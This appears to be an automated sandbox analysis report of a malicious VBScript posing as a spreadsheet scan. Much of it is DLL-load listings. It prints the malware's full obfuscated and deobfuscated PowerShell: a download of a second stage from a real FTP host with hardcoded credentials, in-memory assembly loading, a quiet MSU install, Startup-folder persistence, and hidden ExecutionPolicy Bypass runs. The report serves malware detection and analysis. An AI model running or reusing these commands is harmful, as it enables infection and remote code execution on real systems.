Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell") : uwqxh.Run( "powershell -command ""$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [char]65 + 'd' + [char]65 + 'Bl' + [char]65 + 'Ec' + [char]65 + 'Lg' + [char]65

.NET source code contains potential unpacker

Source: 4.2.powershell.exe.1bdb03863b0.1.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 4.2.powershell.exe.1bdc82e0000.2.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 4.2.powershell.exe.1bdb17aa240.0.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 13.2.powershell.exe.1eb4d619c80.0.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 13.2.powershell.exe.1eb4dee3608.1.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 18.2.powershell.exe.199616b0000.0.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 18.2.powershell.exe.199619d7e98.2.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 18.2.powershell.exe.199622abc98.1.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 23.2.powershell.exe.23e03d17d98.0.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])
Source: 23.2.powershell.exe.23e045e64b0.1.raw.unpack, -.cs	.Net Code: _FDD0 System.Reflection.Assembly.Load(byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String( $nvcbv ) ); $acwwn = $acwwn[-1..-$acwwn.Length] -join '';$acwwn = $acwwn.replace('%XRqhI%','C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs');powershell $acwwn$glo

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [ch
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yfepp = (New-Object Net.WebClient);$yfepp.Encoding = [System.Text.Encoding]::UTF8;$yfepp.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$mjdqf.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $mjdqf.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mjdqf.dispose();$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mjdqf.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huUPX , 'D DD' ) );};"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [ch	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yfepp = (New-Object Net.WebClient);$yfepp.Encoding = [System.Text.Encoding]::UTF8;$yfepp.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$mjdqf.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $mjdqf.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mjdqf.dispose();$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mjdqf.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , 